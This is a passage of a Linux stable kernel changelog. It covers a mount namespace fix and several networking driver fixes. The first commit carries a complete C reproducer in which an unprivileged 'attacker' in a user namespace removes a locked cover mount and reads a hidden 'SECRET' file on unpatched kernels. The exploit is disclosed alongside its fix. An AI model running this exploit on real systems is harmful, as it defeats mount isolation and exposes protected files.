    So a task that is root in its own user namespace gets rid of a locked
    cover on a file without a race and without touching the filesystem
    below it. It makes a child with a mount namespace of its own, binds the
    child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH,
    which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The
    new mount namespace has nothing on the file. That's the usual way to
    mask a single file, a bind of /dev/null or of an empty file. With a
    bind of an ordinary file the file stays covered.
    
    copy_tree() already refuses to leave out a locked unbindable mount with
    -EPERM since commit df7342b24018 ("mount: Don't allow copying
    MNT_UNBINDABLE|MNT_LOCKED mounts"). Do the same for a locked mount of a
    mount namespace file. That also covers a tree copied with
    CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user
    namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS)
    and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from
    then on. The mount can't be left out and it can't be unmounted.
    
    And refuse to move a mount of a mount namespace file beneath a locked
    mount in the first place. Otherwise the task ends up with a mount it
    can't unmount and an unshare() that fails for good.
    
    Chris also found a second mount that goes away by itself, a clone of an
    automounted mount that shrink_submounts() took along with its parent.
    Commit f78ddcc87224 ("namespace: never expire a locked mount") took
    care of that one.
    
    Chris's reproducer is appended. Mode nsfile reads SECRET after the
    unshare() on 7.3-rc7, with this patch the move_mount() fails with
    EINVAL and the file stays covered. nsfile-control uses an ordinary file
    and reads MASK both ways.
    
      // SPDX-License-Identifier: GPL-2.0
      /*
       * Get rid of a locked cover with MOVE_MOUNT_BENEATH.
       *
       * The "admin" (root) makes a tmpfs W:
       *     W/D         file, holds SECRET, covered by a bind of a file with MASK
       *     W/Dd/inner  file, holds SECRET, Dd is covered by a bind of a directory
       *                 whose "inner" holds MASK
       *     W/own       directory of uid 1000 with the file "mine" and the
       *                 directory "minedir", whose "inner" holds MINE
       *     W/dbg       debugfs, mode 755. dbg/tracing is an automount point
       * The "attacker" is uid 1000. It enters a new user namespace with a new mount
       * namespace, so W and both covers are locked there.
       *
       * usage: prog MODE
       *   plain      put a bind of own/mine beneath the cover of D, unmount the cover
       *   nsfile     put a bind of the mount namespace file of a child beneath the
       *              cover of D, then unshare(CLONE_NEWNS)
       *   nsfile-control    the same with a bind of own/mine
       *   shrink     put a bind of the automounted tracefs beneath the cover of Dd,
       *              unmount the cover, put a tmpfs beneath W, call umount(W), which fails
       *   shrink-control    the same with a bind of own/minedir
       * The environment variable AUTOMOUNT_DIR names another automount point for "shrink".
       */
      #define _GNU_SOURCE
      #include <errno.h>
      #include <fcntl.h>
      #include <grp.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <sys/mount.h>
      #include <sys/prctl.h>
      #include <sys/stat.h>
      #include <sys/wait.h>
    
      #ifndef MOVE_MOUNT_BENEATH
      #define MOVE_MOUNT_BENEATH 0x00000200
      #endif
      #define W "/run/x2"
    
      static void die(const char *what)
      {
            fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
            exit(2);
      }
    
      static void put_file(const char *name, const char *content)
      {
            int fd = open(name, O_CREAT | O_WRONLY | O_TRUNC, 0644);
    
            if (fd < 0 || write(fd, content, strlen(content)) < 0)
                    die(name);
            close(fd);
      }
    
      static void show(const char *path)
      {
            char buf[32] = "";
            int fd = open(path, O_RDONLY);
    
            if (fd < 0) {
                    printf("attacker: open(%s) = %s\n", path, strerror(errno));
                    return;
            }
            if (read(fd, buf, sizeof(buf) - 1) < 0)
                    snprintf(buf, sizeof(buf), "<%s>", strerror(errno));
            close(fd);
            printf("attacker: read(%s) = \"%s\"%s\n", path, buf,
                   strncmp(buf, "SECRET", 6) ? "" : "   <-- HIT");
      }
    
      static int say(const char *what, int ret)
      {
            printf("attacker: %s: %s\n", what, ret ? strerror(errno) : "ok");
            return ret;
      }
    
      static void write_str(const char *path, const char *s)
      {
            int fd = open(path, O_WRONLY);
    
            if (fd < 0 || write(fd, s, strlen(s)) < 0)
                    die(path);
            close(fd);
      }
    
      static void mounts(void)
      {
            if (system("grep x2 /proc/self/mountinfo"))
                    printf("attacker: no mounts listed\n");
      }
    
      static void admin_setup(void)
      {
            if (unshare(CLONE_NEWNS) || mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL))
                    die("unshare");
            mkdir(W, 0755);
            if (mount("W", W, "tmpfs", 0, "mode=755"))
                    die("mount W");
            if (mkdir(W "/Dd", 0755) || mkdir(W "/maskdir", 0755) || mkdir(W "/dbg", 0755) ||
                mkdir(W "/own", 0755) || mkdir(W "/own/minedir", 0755))
                    die("mkdir");
            put_file(W "/D", "SECRET");
            put_file(W "/Dd/inner", "SECRET");
            put_file(W "/mask", "MASK");
            put_file(W "/maskdir/inner", "MASK");
            put_file(W "/own/mine", "MINE");
            put_file(W "/own/minedir/inner", "MINE");
            if (mount(W "/mask", W "/D", NULL, MS_BIND, NULL) ||
                mount(W "/maskdir", W "/Dd", NULL, MS_BIND, NULL))
                    die("covers");
            if (mount("dbg", W "/dbg", "debugfs", 0, "mode=755"))
                    die("mount debugfs");
      }
    
      static void become_attacker(void)
      {
            if (setgroups(0, NULL) || setresgid(1000, 1000, 1000) ||
                setresuid(1000, 1000, 1000) || prctl(PR_SET_DUMPABLE, 1))
                    die("drop to uid 1000");
            if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
                    die("unshare user and mount namespace");
            write_str("/proc/self/setgroups", "deny");
            write_str("/proc/self/uid_map", "0 1000 1");
            write_str("/proc/self/gid_map", "0 1000 1");
      }
    
      /* clone the mount at @src and put the clone beneath the top mount at @where */
      static int beneath(const char *src, const char *where)
      {
            char what[128];
            int fd = open_tree(AT_FDCWD, src, OPEN_TREE_CLONE | OPEN_TREE_CLOEXEC);
            int ret;
    
            snprintf(what, sizeof(what), "open_tree(%s, OPEN_TREE_CLONE)", src);
            if (say(what, fd < 0))
                    return -1;
            ret = move_mount(fd, "", AT_FDCWD, where,
                             MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH);
            snprintf(what, sizeof(what), "move_mount(clone, %s, MOVE_MOUNT_BENEATH)", where);
            say(what, ret);
            close(fd);
            return ret;
      }
    
      static void do_nsfile(int control)
      {
            char path[64] = W "/own/mine";
            int pfd[2];
            pid_t pid;
            char c;
    
            if (pipe(pfd))
                    die("pipe");
            pid = fork();
            if (pid < 0)
                    die("fork");
            if (!pid) {
                    if (unshare(CLONE_NEWNS) || write(pfd[1], "g", 1) != 1)
                            die("child");
                    pause();
                    exit(0);
            }
            if (read(pfd[0], &c, 1) != 1)
                    die("sync");
            if (!control)
                    snprintf(path, sizeof(path), "/proc/%d/ns/mnt", pid);
            beneath(path, W "/D");
            mounts();
            say("unshare(CLONE_NEWNS)", unshare(CLONE_NEWNS));
            show(W "/D");
            mounts();
            kill(pid, SIGKILL);
            waitpid(pid, NULL, 0);
      }
    
      static void do_shrink(int control)
      {
            const char *automount = getenv("AUTOMOUNT_DIR");
            int fd, mfd;
    
            if (!automount)
                    automount = W "/dbg/tracing";
            beneath(control ? W "/own/minedir" : automount, W "/Dd");
            say("umount2(Dd, 0), the old cover", umount2(W "/Dd", 0));
            say("umount2(Dd, 0), the mount that was put beneath", umount2(W "/Dd", 0));
            show(W "/Dd/inner");
            say("umount2(W, 0)", umount2(W, 0));
            fd = fsopen("tmpfs", FSOPEN_CLOEXEC);
            if (fd < 0 || fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0))
                    die("fsopen tmpfs");
            mfd = fsmount(fd, FSMOUNT_CLOEXEC, 0);
            if (mfd < 0)
                    die("fsmount");
            say("move_mount(new tmpfs, W, MOVE_MOUNT_BENEATH)",
                move_mount(mfd, "", AT_FDCWD, W, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH));
            close(mfd);
            mounts();
            say("umount2(W, 0)", umount2(W, 0));
            show(W "/Dd/inner");
            mounts();
      }
    
      int main(int argc, char **argv)
      {
            const char *mode = argc > 1 ? argv[1] : "plain";
    
            setvbuf(stdout, NULL, _IOLBF, 0);
            admin_setup();
            become_attacker();
    
            show(W "/D");
            show(W "/Dd/inner");
            say("umount2(D, MNT_DETACH)", umount2(W "/D", MNT_DETACH));
            say("umount2(Dd, MNT_DETACH)", umount2(W "/Dd", MNT_DETACH));
    
            if (!strcmp(mode, "plain")) {
                    beneath(W "/own/mine", W "/D");
                    show(W "/D");
                    say("umount2(D, MNT_DETACH), the old cover", umount2(W "/D", MNT_DETACH));
                    show(W "/D");
                    say("umount2(D, MNT_DETACH), the mount that was put beneath",
                        umount2(W "/D", MNT_DETACH));
                    show(W "/D");
                    mounts();
            } else if (!strncmp(mode, "nsfile", 6)) {
                    do_nsfile(!strcmp(mode, "nsfile-control"));
            } else {
                    do_shrink(!strcmp(mode, "shrink-control"));
            }
            return 0;
      }
    
    Fixes: c62a4766937e ("move_mount: transfer MNT_LOCKED")
    Reported-by: Chris Mason <mason@kernel.org>
    Cc: stable@vger.kernel.org # v7.1+
    Link: https://patch.msgid.link/20261014-work-namei-locked-mnt_ns_file-v1-1-24035bd5d8e9@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
net/iucv: fix the recvmsg window update [+ + +]
Author: Bryam Vargas <hexlabsecurity@proton.me>
Date:   Fri Aug 28 14:07:47 2026 -0500

    net/iucv: fix the recvmsg window update
    
    commit fa5acd038ea657ad5033713d6916214cbd349151 upstream.
    
    iucv_sock_recvmsg() sends the HiperSockets-only AF_IUCV_FLAG_WIN without
    testing the transport, so on a classic z/VM socket iucv_send_ctrl() sizes
    the skb through a NULL iucv->hs_dev. SO_MSGLIMIT accepts 1, so msglimit / 2
    is zero and one recvmsg() on its own socket is enough for an unprivileged
    process to take a spurious disconnect.
    
    It also calls iucv_send_ctrl() under spin_lock_bh(&message_q.lock), which
    allocates GFP_KERNEL inside a section the code treats as atomic. Sending
    outside that lock lets two recvmsg() reach afiucv_hs_send() at once, where
    msg_recv is sampled for the advertised window and subtracted after
    dev_queue_xmit() -- and sendmsg reaches that counter under lock_sock()
    while recvmsg holds no socket lock, so both can subtract the same value,
    the counter goes negative and the credit reaches the peer twice.
    
    Test the transport, claim the credit with atomic_xchg() after the last
    error exit and hand it back if the transmit fails, and send once the lock
    is dropped.
    
    Fixes: 3881ac441f64 ("af_iucv: add HiperSockets transport")
    Fixes: 238965b71b96 ("net/af_iucv: build proper skbs for HiperTransport")
    Cc: stable@vger.kernel.org
    Tested-by: Aswin Karuvally <aswin@linux.ibm.com>
    Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
    Reviewed-by: Alexandra Winter <wintera@linux.ibm.com>
    Link: https://patch.msgid.link/20260828-b4-disp-33fac0ed-v3-1-e6d061880ee0@proton.me
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
net/mlx5: HWS, fix flow meter offset within its bulk [+ + +]
Author: Alexandre Cassen <acassen@corp.free.fr>
Date:   Wed Oct 7 16:38:23 2026 +0200

    net/mlx5: HWS, fix flow meter offset within its bulk
    
    [ Upstream commit 1b0aad53ad715b15ccbad8c65d15c149c925f00a ]
    
    The flow meter action is bound to the first ASO object of the bulk but
    the rule offset only indexes the meter within its own object. A rule
    past the first object runs on the wrong meter.
    
    Fixes: 82d3639ef7dc ("net/mlx5: fs, add support for flow meters HWS action")
    Signed-off-by: Alexandre Cassen <acassen@corp.free.fr>
    Reviewed-by: Moshe Shemesh <moshe@nvidia.com>
    Acked-by: Tariq Toukan <tariqt@nvidia.com>
    Link: https://patch.msgid.link/20261007143830.1733583-3-acassen@corp.free.fr
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool [+ + +]
Author: Alexandre Cassen <acassen@corp.free.fr>
Date:   Wed Oct 7 16:38:22 2026 +0200

    net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
    
    [ Upstream commit 39e02ddf74bbe9c9080555232ba8100462cba2ad ]
    
    L2 to L3 tunnel reformats are now released to the el2tol3tnl pools.
    
    Fixes: aecd9d1020e3 ("net/mlx5: fs, add HWS packet reformat API function")
    Signed-off-by: Alexandre Cassen <acassen@corp.free.fr>
    Reviewed-by: Yevgeny Kliteynik <kliteyn@nvidia.com>
    Acked-by: Tariq Toukan <tariqt@nvidia.com>
    Link: https://patch.msgid.link/20261007143830.1733583-2-acassen@corp.free.fr
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure [+ + +]
Author: Allison Henderson <achender@kernel.org>
Date:   Sat Oct 3 09:34:08 2026 -0700

    net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure
    
    [ Upstream commit 98d446b7c013254a8a7b49720557676a3a851fde ]
    
    rds_rdma_cm_event_handler_cmn() hands the return value of
    rdma_resolve_route() straight back to the rdma_cm on
    RDMA_CM_EVENT_ADDR_RESOLVED.  A synchronous failure there - -ENOMEM
    from the route work allocation, an SA query that cannot be set up, a
    RoCE route with no usable device - makes addr_handler() destroy the
    id the event was delivered on.  That id is ic->i_cm_id, and nothing
    clears the pointer: the connection sits in RDS_CONN_CONNECTING with a
    freed id until its shutdown calls rdma_disconnect() and
    rdma_destroy_id() on it.
    
    The ROUTE_RESOLVED case already avoids this: rds_ib_cm_initiate_connect()
    forces a zero return while ic->i_cm_id == cm_id, as the comment there
    explains.  Do the same here - drop the connection and return 0 - so
    the id stays RDS's to destroy from the shutdown, and the reconnect
    gets a fresh one.
    
    Fixes: 55b7ed0b582f ("RDS: Common RDMA transport code")
    Assisted-by: LLM
    Signed-off-by: Allison Henderson <achender@kernel.org>
    Link: https://patch.msgid.link/20261003163408.250568-3-achender@kernel.org
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
net/sched: cls_flower: validate mask pointer after nla_next() [+ + +]
Author: Aohan Mei <henrymei@tencent.com>
Date:   Wed Aug 26 10:51:20 2026 +0800

    net/sched: cls_flower: validate mask pointer after nla_next()
    
    commit fee10655709c5c597e8e9f722f3035d9ea31ff3a upstream.
    
    fl_set_enc_opt() iterates the key's nested tunnel-option attributes
    with nla_for_each_attr() while advancing a single mask pointer via
    nla_next() at the bottom of each loop, so the mask cursor is driven
    by the number of key attributes rather than by the mask's own
    attributes.  The nla_ok() added by commit c96adff956191 ("cls_flower:
    call nla_ok() before nla_next()") only validates the mask pointer
    that was just consumed; the pointer produced by nla_next() is used by
    the next iteration (fl_set_geneve_opt() and siblings) without any
    validation.
    
    The mask's nested attributes are validated with NL_VALIDATE_LIBERAL,
    which merely warns on trailing bytes that do not form a complete
    attribute.  A mask carrying one valid attribute plus 1-3 residue
    bytes (or a non-aligned attribute length making msk_depth negative)
    therefore reaches the next iteration with msk_depth != 0, so neither
    the !msk_depth check in fl_set_enc_opt() nor the !depth check in the
    per-type helpers fires.  nla_type() then reads past the mask payload
    and nla_parse_nested_deprecated() iterates with an nla_len taken
    from those bytes, reading well beyond the mask attribute (KASAN:
    slab-out-of-bounds read in __nla_validate_parse from fl_change()).
    
    Validate the advanced mask pointer as well: when the mask is not
    legitimately exhausted (msk_depth != 0) and the new pointer fails
    nla_ok(), reject the filter with -EINVAL.  An exactly exhausted mask
    still skips the check, preserving exact-match behaviour for the
    remaining key attributes.
    
    Fixes: c96adff95619 ("cls_flower: call nla_ok() before nla_next()")
    Reported-by: TencentOS Corvus AI <corvus@tencent.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Aohan Mei <henrymei@tencent.com>
    Link: https://patch.msgid.link/20260826025123.62758-1-ljp1205831794@gmail.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

net/sched: fix use-after-free in __tcf_action_put() [+ + +]
Author: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
Date:   Thu Oct 8 18:13:49 2026 +0000

    net/sched: fix use-after-free in __tcf_action_put()
    
    commit 7b16eb911091aae237a8673da94e4dfb9cd21d54 upstream.
    
    __tcf_action_put() decrements the reference count before decrementing the
    binding count. Another thread can free the action between these operations,
    causing the binding-count update to access freed memory. KASAN reports it
    as:
    
      BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340
      Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64
    
    Hold the action IDR mutex across both counter updates and IDR removal,
    keeping cleanup outside the lock.
    
    Fixes: 16af6067392c ("net: sched: implement reference counted action release")
    Cc: stable@vger.kernel.org
    Assisted-by: LLM
    Signed-off-by: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
    Reviewed-by: Simon Horman <horms@kernel.org>
    Link: https://patch.msgid.link/20261008181348.527035-2-Jeremy.Jean@oss.cyber.gouv.fr
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
net: au1000: move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:48 2026 +0800

    net: au1000: move setting of netops to fix crash
    
    [ Upstream commit beabbafdd0f6779813a7656baa1b412b19bda911 ]
    
    au1000_probe() calls au1000_mii_probe(), which connects the PHY,
    before dev->netdev_ops is assigned. phy_attach_direct() ->
    phy_link_topo_add_phy() reads dev->netdev_ops through
    netdev_need_ops_lock() since the commit in question, so probing crashes
    with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Link: https://patch.msgid.link/20261008022656.3592191-7-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: bcmgenet: unshare the skb before writing the control block [+ + +]
Author: Nicolai Buchwitz <nb@tipi-net.de>
Date:   Fri Oct 9 12:10:41 2026 +0200

    net: bcmgenet: unshare the skb before writing the control block
    
    [ Upstream commit 89771ce4f8f67dcffae561b2ccac95c0f6e3aa01 ]
    
    bcmgenet stores first_cb, last_cb and bytes_sent in the skb control
    block and reads them back on completion to free the skb and credit BQL.
    ether_setup() leaves IFF_TX_SKB_SHARING set, so the stack can resubmit
    a shared skb that is still in the ring. The next transmit overwrites
    last_cb, so the earlier slots complete without crediting their bytes
    and BQL stalls the queue until the watchdog resets it.
    
    Unshare the skb before writing the control block.
    
    Reproduce with pktgen in clone_skb mode, which hands the driver the same
    skb while earlier copies are still in the ring:
    
      modprobe pktgen
      pg=/proc/net/pktgen
      echo "add_device eth0" > $pg/kpktgend_0
      echo "dst_mac AA:BB:CC:DD:EE:FF" > $pg/eth0
      echo "dst 192.0.2.1" > $pg/eth0
      echo "clone_skb 8" > $pg/eth0
      echo "count 0" > $pg/eth0
      echo start > $pg/pgctrl &
      sleep 5
      echo stop > $pg/pgctrl
      wait
      cat /sys/class/net/eth0/queues/tx-0/byte_queue_limits/inflight
    
    inflight stays nonzero on the now idle queue. clone_skb 0 leaves it at
    zero.
    
    Fixes: f48bed16a756 ("net: bcmgenet: Free skb after last Tx frag")
    Signed-off-by: Nicolai Buchwitz <nb@tipi-net.de>
    Reviewed-by: Florian Fainelli <florian.fainelli@broadcom.com>
    Link: https://patch.msgid.link/20261009-nb-genet-shared-skb-net-v1-1-c6d0a841977d@tipi-net.de
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: bridge: mcast: don't truncate the port group walk on teardown [+ + +]
Author: Jun Yang <littleddfu@gmail.com>
Date:   Mon Aug 31 19:13:04 2026 +0800

    net: bridge: mcast: don't truncate the port group walk on teardown
    
    commit 5a3f7a683aee56e1f15c9d53041f3236767eaae7 upstream.
    
    __br_multicast_disable_port_ctx() and br_multicast_del_port() walk
    port->mglist with hlist_for_each_entry_safe(). However,
    br_multicast_find_del_pg() can also delete other entries from the same
    list through br_multicast_fwd_src_remove() or __fwd_del_star_excl().
    
    If such an entry is the iterator's saved next node, hlist_del_init()
    clears its ->next and terminates the walk early. The reproducer triggers
    this in both teardown walks, leaving port groups in the bridge mdb with
    a dangling ->key.port after del_nbp() frees the port:
    
      BUG: KASAN: slab-use-after-free in __mdb_fill_info+0x1191/0x1320
       __mdb_fill_info+0x1191/0x1320
       br_mdb_dump+0x594/0xe40
       rtnl_mdb_dump+0x1cf/0x5d0
    
    Use hlist_del_init_rcu() to unlink the group while preserving ->next.
    br_multicast_del_pg() and the teardown walks run under
    br->multicast_lock. The GC worker must acquire the same lock before
    detaching the group for destruction, so the node remains alive while
    the walk uses the preserved pointer.
    
    Preserving ->next means a walk can now reach a group that an earlier
    iteration already deleted as a side effect. That group is off mp->ports,
    so br_multicast_find_del_pg() would fall through its port scan and hit
    the trailing WARN_ON(1). Skip such groups at the top of that helper: a
    port group is put on port->mglist when it is created and only unlinked
    when it is deleted, so hlist_unhashed() identifies exactly this case.
    
    Fixes: b08123684bd5 ("net: bridge: mcast: install S,G entries automatically based on reports")
    Cc: stable@vger.kernel.org
    Suggested-by: Nikolay Aleksandrov <razor@blackwall.org>
    Reported-by: TencentOS Corvus AI <corvus@tencent.com>
    Signed-off-by: Jun Yang <junvyyang@tencent.com>
    Reviewed-by: Nikolay Aleksandrov <razor@blackwall.org>
    Link: https://patch.msgid.link/20260831111330.199543-1-junvyyang@tencent.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

net: ethernet: actions: Move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:45 2026 +0800

    net: ethernet: actions: Move setting of netops to fix crash
    
    [ Upstream commit c2c4824319850c87e77d26aeb8f860bc310a64d7 ]
    
    owl_emac_probe() calls owl_emac_phy_init(), which connects the PHY,
    before netdev->netdev_ops is assigned. phy_attach_direct() ->
    phy_link_topo_add_phy() reads dev->netdev_ops through
    netdev_need_ops_lock() since the commit in question, so probing crashes
    with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Link: https://patch.msgid.link/20261008022656.3592191-4-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: ethernet: aeroflex: move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:50 2026 +0800

    net: ethernet: aeroflex: move setting of netops to fix crash
    
    [ Upstream commit d71483f0716e7ae98578817bfdc8a5b822d250f8 ]
    
    greth_of_probe() calls greth_mdio_init(), which connects the PHY,
    before dev->netdev_ops is assigned. phy_attach_direct() ->
    phy_link_topo_add_phy() reads dev->netdev_ops through
    netdev_need_ops_lock() since the commit in question, so probing crashes
    with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Acked-by: Andreas Larsson <andreas@gaisler.com>
    Link: https://patch.msgid.link/20261008022656.3592191-9-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: ethoc: move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:49 2026 +0800

    net: ethoc: move setting of netops to fix crash
    
    [ Upstream commit c9f8ce62a5faa73515ff5457716bd7306d20fd93 ]
    
    ethoc_probe() calls ethoc_mdio_probe(), which connects the PHY,
    before netdev->netdev_ops is assigned. phy_attach_direct() ->
    phy_link_topo_add_phy() reads dev->netdev_ops through
    netdev_need_ops_lock() since the commit in question, so probing crashes
    with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Reviewed-by: Daniel Machon <daniel.machon@microchip.com>
    Link: https://patch.msgid.link/20261008022656.3592191-8-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: hisilicon: hip04_eth: Move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:44 2026 +0800

    net: hisilicon: hip04_eth: Move setting of netops to fix crash
    
    [ Upstream commit 0d9342701f14ec0a9465772b7cd5d515c1ecd818 ]
    
    hip04_mac_probe() calls of_phy_connect() before ndev->netdev_ops is
    assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads
    dev->netdev_ops through netdev_need_ops_lock() since the commit in
    question, so probing crashes with a NULL pointer dereference when
    CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Link: https://patch.msgid.link/20261008022656.3592191-3-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: hisilicon: hisi_femac: Move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:43 2026 +0800

    net: hisilicon: hisi_femac: Move setting of netops to fix crash
    
    [ Upstream commit 444889dfa27b54b39026e962464b1f8f9093e1ea ]
    
    hisi_femac_drv_probe() connects the PHY before dev->netdev_ops is
    assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads
    dev->netdev_ops through netdev_need_ops_lock() since the commit in
    question, so probing crashes with a NULL pointer dereference when
    CONFIG_NET_SHAPER is enabled.
    
      phy_link_topo_add_phy from phy_attach_direct+0xec/0x37c
      of_phy_get_and_connect from hisi_femac_drv_probe+0x1f4/0x558
      Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Link: https://patch.msgid.link/20261008022656.3592191-2-mmyangfl@gmail.com
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: mv643xx: move setting of netops to fix crash [+ + +]
Author: David Yang <mmyangfl@gmail.com>
Date:   Thu Oct 8 10:26:47 2026 +0800

    net: mv643xx: move setting of netops to fix crash
    
    [ Upstream commit a3eef3d2cca032d8768b5eb07aab0f46b79bfd8a ]
    
    mv643xx_eth_probe() connects the PHY before dev->netdev_ops is
    assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads
    dev->netdev_ops through netdev_need_ops_lock() since the commit in
    question, so probing crashes with a NULL pointer dereference when
    CONFIG_NET_SHAPER is enabled.
    
    Assign netdev_ops before the PHY attach, as was done for emac in commit
    7c9f391ec89c ("net: emac: move setting of netops to fix crash").
    
    Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
    Signed-off-by: David Yang <mmyangfl@gmail.com>
    Reviewed-by: Daniel Machon <daniel.machon@microchip.com>
    Link: https://patch.msgid.link/20261008022656.3592191-6-mmyangfl@gmail.com
    Reviewed-by: Jijie Shao <shaojijie@huawei.com>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

net: ntb_netdev: Fix statistics races [+ + +]
Author: Koichiro Den <den@valinux.co.jp>
Date:   Mon Aug 31 00:16:17 2026 +0900

    net: ntb_netdev: Fix statistics races
    
    commit 545b63503c696c4ce0663b3fcd37f41169aec1eb upstream.
    
